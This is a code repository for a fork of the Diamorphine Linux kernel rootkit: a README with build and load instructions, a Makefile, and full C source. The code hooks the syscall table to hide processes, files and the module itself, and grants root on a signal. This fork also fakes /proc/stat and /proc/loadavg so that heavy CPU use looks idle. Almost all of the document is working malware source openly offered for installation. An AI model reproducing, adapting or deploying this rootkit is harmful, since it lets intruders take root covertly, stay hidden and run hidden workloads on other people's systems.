├── LICENSE.txt ├── Makefile ├── README.md ├── customfuncs.c ├── diamorphine.c └── diamorphine.h /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014, Victor N. Ramos Mello 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | * Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | * The name of the author may not be used to endorse or promote products 12 | derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY 18 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 21 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m := diamorphine.o 2 | CC = gcc -Wall 3 | KDIR := /lib/modules/$(shell uname -r)/build 4 | PWD := $(shell pwd) 5 | 6 | all: 7 | $(MAKE) -C $(KDIR) M=$(PWD) modules 8 | 9 | clean: 10 | $(MAKE) -C $(KDIR) M=$(PWD) clean 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Diamorphine + hideusage fork 2 | =========== 3 | 4 | Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x originally developed by m0nad and forked by me. 5 | This fork hides high CPU usage from tools like top, htop or other commonly used utilities, by hooking the read() syscall and modifying the buffer returning the contents for /proc/stat and /proc/loadavg. The syscall sysinfo() is also hooked, but it's not used by these tools. 6 | 7 | When this module is loaded, the cpu idle time will never be less than ~99% and load averages will always be below 0.20. 8 | 9 | Apparently some of the functions on string.h call read() and that may cause an infinite recursion loop, hanging the thread and eventually crashing the kernel due to it running out of stack space. At least that's my hypothesis. That's why I had to rewrite many string handling functions. 10 | 11 | Disclaimer 12 | -- 13 | This fork has not been tested as much as the original and may be unstable on some linux distributions. Please let me know if this happens with an issue, together with your distribution and your kernel version and architecture. 14 | 15 | Any other suggestions and/or comments are welcome! 16 | 17 | Many thanks to m0nad for developing the original rootkit! 18 | 19 | Features 20 | -- 21 | 22 | - When loaded, the module starts invisible; 23 | 24 | - Hide/unhide any process by sending a signal 31; 25 | 26 | - Sending a signal 63(to any pid) makes the module become (in)visible; 27 | 28 | - Sending a signal 64(to any pid) makes the given user become root; 29 | 30 | - Files or directories starting with the MAGIC_PREFIX become invisble; 31 | 32 | - Load average will be random values from 0.00 to 0.20. 33 | 34 | - Processor will always look as if was idle. 35 | 36 | - Original source: https://github.com/m0nad/Diamorphine 37 | 38 | Install 39 | -- 40 | 41 | Verify if the kernel is 2.6.x/3.x/4.x 42 | ``` 43 | uname -r 44 | ``` 45 | 46 | Clone the repository 47 | ``` 48 | git clone https://github.com/alex91ar/Diamorphine 49 | ``` 50 | 51 | Enter the folder 52 | ``` 53 | cd Diamorphine 54 | ``` 55 | 56 | Compile 57 | ``` 58 | make 59 | ``` 60 | 61 | Load the module(as root) 62 | ``` 63 | insmod diamorphine.ko 64 | ``` 65 | 66 | Uninstall 67 | -- 68 | 69 | The module starts invisible, to remove you need to make its visible 70 | ``` 71 | kill -63 0 72 | ``` 73 | 74 | Then remove the module(as root) 75 | ``` 76 | rmmod diamorphine 77 | ``` 78 | 79 | References 80 | -- 81 | Wikipedia Rootkit 82 | https://en.wikipedia.org/wiki/Rootkit 83 | 84 | Linux Device Drivers 85 | http://lwn.net/Kernel/LDD3/ 86 | 87 | LKM HACKING 88 | https://www.thc.org/papers/LKM_HACKING.html 89 | 90 | Memset's blog 91 | http://memset.wordpress.com/ 92 | 93 | Linux on-the-fly kernel patching without LKM 94 | http://phrack.org/issues/58/7.html 95 | 96 | WRITING A SIMPLE ROOTKIT FOR LINUX 97 | http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt 98 | 99 | Linux Cross Reference 100 | http://lxr.free-electrons.com/ 101 | -------------------------------------------------------------------------------- /customfuncs.c: -------------------------------------------------------------------------------- 1 | size_t myStrlen(const char *szData, const char cDelimit) 2 | { 3 | size_t i; 4 | if(!szData) return -1; 5 | for(i = 0; szData[i] != 0 && szData[i] != cDelimit; i++) continue; 6 | return i; 7 | } 8 | 9 | size_t my10Exp(size_t stExp) 10 | { 11 | size_t out = 1; 12 | for(; stExp > 0; stExp--) out*=10; 13 | return out; 14 | } 15 | 16 | size_t strtoNum(const size_t stComponent) 17 | { 18 | char *szData = NULL; 19 | size_t out = 0; 20 | long i = 0; 21 | long j = 0; 22 | if(!stComponent) return 0; 23 | szData = (char*) stComponent; 24 | for(i = 0; szData[i] >= '0' && szData[i] <= '9'; i++) continue; 25 | if(i == 0) return 0; 26 | i--; 27 | j = i; 28 | for(;j>=0; j--) out += (szData[j]-'0') * (my10Exp(i-j)); 29 | return out; 30 | } 31 | 32 | void numToStr(char *szOut, size_t num) 33 | { 34 | unsigned int rem; 35 | unsigned int i = 0; 36 | size_t oldNum = num; 37 | if(!szOut) return; 38 | while(1) 39 | { 40 | rem = num % 10; 41 | num/=10; 42 | if(num == 0) break; 43 | i++; 44 | } 45 | num = oldNum; 46 | while(1) 47 | { 48 | rem = num % 10; 49 | num/=10; 50 | szOut[i] = rem+'0'; 51 | if(i == 0) break; 52 | i--; 53 | } 54 | } 55 | 56 | void myStrCat(char *szOrig, const char *szIn) 57 | { 58 | size_t i = 0; 59 | size_t j = 0; 60 | for(i = 0; 1; i++) 61 | { 62 | if(szOrig[i] == 0) 63 | { 64 | for(j = 0; 1; j++) 65 | { 66 | szOrig[i+j] = szIn[j]; 67 | if(szIn[j] == 0) break; 68 | } 69 | break; 70 | } 71 | } 72 | } 73 | 74 | int myMemcmp(const char *szComp1, const char *szComp2, size_t len1, size_t len2) 75 | { 76 | size_t i = 0; 77 | if(!szComp1 || !szComp2) return 0; 78 | if(len1 != len2) return 0; 79 | for(i = 0; i < len1; i++) 80 | { 81 | if(szComp1[i] != szComp2[i]) 82 | { 83 | return 0; 84 | } 85 | } 86 | return 1; 87 | } 88 | 89 | void getFrontPart(char *szOut, const char *szIn) 90 | { 91 | size_t i = 0; 92 | size_t len = 0; 93 | size_t spacecount = 0; 94 | for(len = 0; true;len++) if(szIn[len] == 0) break; 95 | for(i = len -1; i >= 0; i--) 96 | { 97 | if(szIn[i] == ' ') spacecount++; 98 | if(spacecount == 2) break; 99 | } 100 | i++; 101 | myStrCat(szOut, szIn+i); 102 | } 103 | 104 | void generateLoads(char *szOut) 105 | { 106 | unsigned char rands[6]; 107 | get_random_bytes(rands, 6); 108 | szOut[0] = '0'; 109 | szOut[1] = '.'; 110 | szOut[2] = '0' + rands[0]%2; 111 | szOut[3] = '0' + rands[1]%10; 112 | szOut[4] = ' '; 113 | szOut[5] = '0'; 114 | szOut[6] = '.'; 115 | szOut[7] = '0' + rands[2]%2; 116 | szOut[8] = '0' + rands[3]%10; 117 | szOut[9] = ' '; 118 | szOut[10] = '0'; 119 | szOut[11] = '.'; 120 | szOut[12] = '0' + rands[4]%2; 121 | szOut[13] = '0' + rands[5]%10; 122 | szOut[14] = ' '; 123 | szOut[15] = 0; 124 | } 125 | 126 | int checkParent(struct dentry *dparent) 127 | { 128 | char szCompare[] = "/\0\0\0"; 129 | const unsigned char *szName = NULL; 130 | if(!dparent) return 0; 131 | else 132 | { 133 | szName = dparent->d_name.name; 134 | if(!szName || !(dparent->d_name.len)) return 0; 135 | return myMemcmp(szName, szCompare, dparent->d_name.len, 1); 136 | } 137 | return 0; 138 | } 139 | int getNextLine(char **pszBuf, char *szOrig, size_t len) 140 | { 141 | char *szComp = NULL; 142 | if(!pszBuf || !szOrig) return -1; 143 | for(;;(*pszBuf)++) 144 | { 145 | if((*pszBuf) >= szOrig+len) return -1; 146 | if((*pszBuf)[0] == 0) return -1; 147 | if((*pszBuf)[0] == '\n') break; 148 | } 149 | (*pszBuf)++; 150 | szComp = (*pszBuf); 151 | if(szComp[0] != 'c' || szComp[1] != 'p' || szComp[2] != 'u') return -1; 152 | return 0; 153 | } 154 | 155 | int splitLine(char *pszBuf, char *szOrig, size_t *stComponents, size_t len) 156 | { 157 | size_t iCount = 1; 158 | if(!pszBuf || !szOrig || !stComponents) return -1; 159 | stComponents[0] = (size_t) pszBuf; 160 | for(;;pszBuf++) 161 | { 162 | if(pszBuf >= szOrig+len) return -1; 163 | if(pszBuf[0] == 0) return -1; 164 | if(pszBuf[0] == '\n') break; 165 | if(pszBuf[0] == ' ') 166 | { 167 | if(pszBuf[1] == ' ') pszBuf++; 168 | pszBuf++; 169 | stComponents[iCount] = (size_t) pszBuf; 170 | iCount++; 171 | if(iCount == 19) break; 172 | } 173 | } 174 | return 0; 175 | } 176 | 177 | void overWriteComponents(size_t *stComponents) 178 | { 179 | int i = 0; 180 | int lenIdleTime = 0; 181 | int lenNewStats = 0; 182 | char newStats[] = "1 1 1 "; 183 | char szNewIdleTime[30] = ""; 184 | size_t newIdleTime = 0; 185 | char *szOldStatsPtr = NULL; 186 | char *szUserTime = NULL; 187 | if(!stComponents) return; 188 | for(i = 0; i < 11; i++) if(!stComponents[i]) return; 189 | for(i = 0; i < 30; i++) szNewIdleTime[i] = 0; 190 | newIdleTime = strtoNum(stComponents[4]) + strtoNum(stComponents[1]) + strtoNum(stComponents[3]) + strtoNum(stComponents[2]); 191 | numToStr(szNewIdleTime, newIdleTime); 192 | lenIdleTime = myStrlen(szNewIdleTime, 0); 193 | lenNewStats = sizeof(newStats) -1; 194 | szUserTime = (char*) stComponents[1]; 195 | for(i = 0; i < lenNewStats && szUserTime[0]; i++, szUserTime++) szUserTime[0] = newStats[i]; 196 | for(i = 0; i < lenIdleTime && szUserTime[0]; i++, szUserTime++) szUserTime[0] = szNewIdleTime[i]; 197 | for(szOldStatsPtr = (char*) stComponents[5] - 1; szOldStatsPtr[0] != '\n' && szUserTime[0] && szOldStatsPtr[0]; szOldStatsPtr++,szUserTime++) szUserTime[0] = szOldStatsPtr[0]; 198 | for(;szUserTime < szOldStatsPtr && szUserTime[0]; szUserTime++) szUserTime[0] = ' '; 199 | } 200 | 201 | void processStat(char *szData, size_t len) 202 | { 203 | char *pszBuf = szData; 204 | size_t stComponents[20]; 205 | int i; 206 | for(i = 0; i < 20; i++) stComponents[i] = 0; 207 | while(1) 208 | { 209 | if(splitLine(pszBuf, szData, stComponents, len) == -1) break; 210 | overWriteComponents(stComponents); 211 | if(getNextLine(&pszBuf, szData, len) == -1) break; 212 | } 213 | } -------------------------------------------------------------------------------- /diamorphine.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "customfuncs.c" 16 | #define LOAD_INT(x) ((x) >> FSHIFT) 17 | #define LOAD_FRAC(x) LOAD_INT(((x) & (FIXED_1-1)) * 100) 18 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) 19 | #include 20 | #else 21 | #include 22 | #endif 23 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26) 24 | #include 25 | #else 26 | #include 27 | #endif 28 | 29 | #include "diamorphine.h" 30 | 31 | unsigned long cr0; 32 | static unsigned long *__sys_call_table; 33 | typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *, 34 | unsigned int); 35 | typedef asmlinkage int (*orig_getdents64_t)(unsigned int, 36 | struct linux_dirent64 *, unsigned int); 37 | typedef asmlinkage int (*orig_kill_t)(pid_t, int); 38 | typedef asmlinkage int (*orig_sysinfo_t)(struct sysinfo*); 39 | typedef asmlinkage ssize_t (*orig_read_t)(unsigned int, char *, size_t); 40 | orig_getdents_t orig_getdents; 41 | orig_getdents64_t orig_getdents64; 42 | orig_kill_t orig_kill; 43 | orig_sysinfo_t orig_sysinfo; 44 | orig_read_t orig_read; 45 | 46 | unsigned long * 47 | get_syscall_table_bf(void) 48 | { 49 | unsigned long *syscall_table; 50 | unsigned long int i; 51 | 52 | for (i = START_MEM; i < END_MEM; i += sizeof(void *)) { 53 | syscall_table = (unsigned long *)i; 54 | 55 | if (syscall_table[__NR_close] == (unsigned long)sys_close) 56 | return syscall_table; 57 | } 58 | return NULL; 59 | } 60 | 61 | struct task_struct * 62 | find_task(pid_t pid) 63 | { 64 | struct task_struct *p = current; 65 | for_each_process(p) { 66 | if (p->pid == pid) 67 | return p; 68 | } 69 | return NULL; 70 | } 71 | 72 | int 73 | is_invisible(pid_t pid) 74 | { 75 | struct task_struct *task; 76 | if (!pid) 77 | return 0; 78 | task = find_task(pid); 79 | if (!task) 80 | return 0; 81 | if (task->flags & PF_INVISIBLE) 82 | return 1; 83 | return 0; 84 | } 85 | 86 | asmlinkage int 87 | hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, 88 | unsigned int count) 89 | { 90 | int ret = orig_getdents64(fd, dirent, count), err; 91 | unsigned short proc = 0; 92 | unsigned long off = 0; 93 | struct linux_dirent64 *dir, *kdirent, *prev = NULL; 94 | struct inode *d_inode; 95 | 96 | if (ret <= 0) 97 | return ret; 98 | 99 | kdirent = kzalloc(ret, GFP_KERNEL); 100 | if (kdirent == NULL) 101 | return ret; 102 | 103 | err = copy_from_user(kdirent, dirent, ret); 104 | if (err) 105 | goto out; 106 | 107 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) 108 | d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; 109 | #else 110 | d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; 111 | #endif 112 | if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)) 113 | proc = 1; 114 | 115 | while (off < ret) { 116 | dir = (void *)kdirent + off; 117 | if ((!proc && 118 | (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) 119 | || (proc && 120 | is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { 121 | if (dir == kdirent) { 122 | ret -= dir->d_reclen; 123 | memmove(dir, (void *)dir + dir->d_reclen, ret); 124 | continue; 125 | } 126 | prev->d_reclen += dir->d_reclen; 127 | } else 128 | prev = dir; 129 | off += dir->d_reclen; 130 | } 131 | err = copy_to_user(dirent, kdirent, ret); 132 | if (err) 133 | goto out; 134 | out: 135 | kfree(kdirent); 136 | return ret; 137 | } 138 | 139 | asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent, 140 | unsigned int count) 141 | { 142 | int ret = orig_getdents(fd, dirent, count), err; 143 | unsigned short proc = 0; 144 | unsigned long off = 0; 145 | struct linux_dirent *dir, *kdirent, *prev = NULL; 146 | struct inode *d_inode; 147 | 148 | if (ret <= 0) 149 | return ret; 150 | 151 | kdirent = kzalloc(ret, GFP_KERNEL); 152 | if (kdirent == NULL) 153 | return ret; 154 | 155 | err = copy_from_user(kdirent, dirent, ret); 156 | if (err) 157 | goto out; 158 | 159 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) 160 | d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; 161 | #else 162 | d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; 163 | #endif 164 | 165 | if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)) 166 | proc = 1; 167 | 168 | while (off < ret) { 169 | dir = (void *)kdirent + off; 170 | if ((!proc && 171 | (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) 172 | || (proc && 173 | is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { 174 | if (dir == kdirent) { 175 | ret -= dir->d_reclen; 176 | memmove(dir, (void *)dir + dir->d_reclen, ret); 177 | continue; 178 | } 179 | prev->d_reclen += dir->d_reclen; 180 | } else 181 | prev = dir; 182 | off += dir->d_reclen; 183 | } 184 | err = copy_to_user(dirent, kdirent, ret); 185 | if (err) 186 | goto out; 187 | out: 188 | kfree(kdirent); 189 | return ret; 190 | } 191 | 192 | void 193 | give_root(void) 194 | { 195 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) 196 | current->uid = current->gid = 0; 197 | current->euid = current->egid = 0; 198 | current->suid = current->sgid = 0; 199 | current->fsuid = current->fsgid = 0; 200 | #else 201 | struct cred *newcreds; 202 | newcreds = prepare_creds(); 203 | if (newcreds == NULL) 204 | return; 205 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \ 206 | && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \ 207 | || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) 208 | newcreds->uid.val = newcreds->gid.val = 0; 209 | newcreds->euid.val = newcreds->egid.val = 0; 210 | newcreds->suid.val = newcreds->sgid.val = 0; 211 | newcreds->fsuid.val = newcreds->fsgid.val = 0; 212 | #else 213 | newcreds->uid = newcreds->gid = 0; 214 | newcreds->euid = newcreds->egid = 0; 215 | newcreds->suid = newcreds->sgid = 0; 216 | newcreds->fsuid = newcreds->fsgid = 0; 217 | #endif 218 | commit_creds(newcreds); 219 | #endif 220 | } 221 | 222 | static inline void 223 | tidy(void) 224 | { 225 | kfree(THIS_MODULE->sect_attrs); 226 | THIS_MODULE->sect_attrs = NULL; 227 | } 228 | 229 | static struct list_head *module_previous; 230 | static short module_hidden = 0; 231 | void 232 | module_show(void) 233 | { 234 | list_add(&THIS_MODULE->list, module_previous); 235 | module_hidden = 0; 236 | } 237 | 238 | void 239 | module_hide(void) 240 | { 241 | module_previous = THIS_MODULE->list.prev; 242 | list_del(&THIS_MODULE->list); 243 | module_hidden = 1; 244 | } 245 | 246 | asmlinkage int 247 | hacked_kill(pid_t pid, int sig) 248 | { 249 | struct task_struct *task; 250 | 251 | switch (sig) { 252 | case SIGINVIS: 253 | if ((task = find_task(pid)) == NULL) 254 | return -ESRCH; 255 | task->flags ^= PF_INVISIBLE; 256 | break; 257 | case SIGSUPER: 258 | give_root(); 259 | break; 260 | case SIGMODINVIS: 261 | if (module_hidden) module_show(); 262 | else module_hide(); 263 | break; 264 | default: 265 | return orig_kill(pid, sig); 266 | } 267 | return 0; 268 | } 269 | 270 | asmlinkage ssize_t hacked_read(unsigned int fd, char *buf, size_t len) 271 | { 272 | ssize_t out = orig_read(fd,buf,len); 273 | const unsigned char *szName = NULL; 274 | unsigned int lenName = 0; 275 | char szCompare[] = LOADAVG; 276 | char szCompare2[] = STAT; 277 | char szLoads[20] = ""; 278 | char szRest[30] = ""; 279 | struct dentry *dparent; 280 | if(len >= 10 && out >=0 && buf) 281 | { 282 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) 283 | szName = current->files->fdt->fd[fd]->f_dentry->d_name.name; 284 | lenName = current->files->fdt->fd[fd]->f_dentry->d_name.len; 285 | dparent = current->files->fdt->fd[fd]->f_dentry->d_parent; 286 | #else 287 | szName = current->files->fdt->fd[fd]->f_path.dentry->d_name.name; 288 | lenName = current->files->fdt->fd[fd]->f_path.dentry->d_name.len; 289 | dparent = current->files->fdt->fd[fd]->f_path.dentry->d_parent; 290 | #endif 291 | if(checkParent(dparent)) 292 | { 293 | if(myMemcmp(szName, szCompare, lenName, sizeof(LOADAVG)-1)) 294 | { 295 | generateLoads(szLoads); 296 | getFrontPart(szRest, buf); 297 | buf[0] = 0; 298 | myStrCat(buf, szLoads); 299 | myStrCat(buf, szRest); 300 | } 301 | else if(myMemcmp(szName, szCompare2, lenName, sizeof(STAT)-1)) 302 | { 303 | processStat(buf, len); 304 | } 305 | } 306 | } 307 | return out; 308 | } 309 | 310 | asmlinkage int hacked_sysinfo(struct sysinfo *info) 311 | { 312 | int out = orig_sysinfo(info); 313 | if(out >= 0) 314 | { 315 | int i = 0; 316 | for(i = 0; i < 3; i++) 317 | { 318 | short unsigned int load = 0; 319 | get_random_bytes(&load, sizeof(short unsigned int)); 320 | info->loads[i] = load / 10; 321 | } 322 | } 323 | return out; 324 | } 325 | 326 | static inline void 327 | protect_memory(void) 328 | { 329 | write_cr0(cr0); 330 | } 331 | 332 | static inline void 333 | unprotect_memory(void) 334 | { 335 | write_cr0(cr0 & ~0x00010000); 336 | } 337 | 338 | static int __init 339 | diamorphine_init(void) 340 | { 341 | __sys_call_table = get_syscall_table_bf(); 342 | if (!__sys_call_table) 343 | return -1; 344 | 345 | cr0 = read_cr0(); 346 | 347 | tidy(); 348 | 349 | orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents]; 350 | orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; 351 | orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; 352 | orig_sysinfo = (orig_sysinfo_t)__sys_call_table[__NR_sysinfo]; 353 | orig_read = (orig_read_t)__sys_call_table[__NR_read]; 354 | 355 | preempt_disable(); 356 | unprotect_memory(); 357 | __sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents; 358 | __sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64; 359 | __sys_call_table[__NR_kill] = (unsigned long)hacked_kill; 360 | __sys_call_table[__NR_sysinfo] = (unsigned long)hacked_sysinfo; 361 | __sys_call_table[__NR_read] = (unsigned long)hacked_read; 362 | protect_memory(); 363 | preempt_enable(); 364 | 365 | return 0; 366 | } 367 | 368 | static void __exit 369 | diamorphine_cleanup(void) 370 | { 371 | unprotect_memory(); 372 | __sys_call_table[__NR_getdents] = (unsigned long)orig_getdents; 373 | __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; 374 | __sys_call_table[__NR_kill] = (unsigned long)orig_kill; 375 | __sys_call_table[__NR_sysinfo] = (unsigned long)orig_sysinfo; 376 | __sys_call_table[__NR_read] = (unsigned long)orig_read; 377 | protect_memory(); 378 | } 379 | 380 | module_init(diamorphine_init); 381 | module_exit(diamorphine_cleanup); 382 | 383 | MODULE_LICENSE("Dual BSD/GPL"); 384 | MODULE_AUTHOR("m0nad"); 385 | MODULE_DESCRIPTION("diamorphine"); 386 | -------------------------------------------------------------------------------- /diamorphine.h: -------------------------------------------------------------------------------- 1 | struct linux_dirent { 2 | unsigned long d_ino; 3 | unsigned long d_off; 4 | unsigned short d_reclen; 5 | char d_name[1]; 6 | }; 7 | 8 | #define START_MEM PAGE_OFFSET 9 | #define END_MEM ULONG_MAX 10 | 11 | #define MAGIC_PREFIX "diamorphine_secret" 12 | #define LOADAVG "loadavg" 13 | #define STAT "stat" 14 | 15 | #define PF_INVISIBLE 0x10000000 16 | 17 | #define MODULE_NAME "diamorphine" 18 | 19 | enum { 20 | SIGINVIS = 31, 21 | SIGSUPER = 64, 22 | SIGMODINVIS = 63, 23 | }; 24 | --------------------------------------------------------------------------------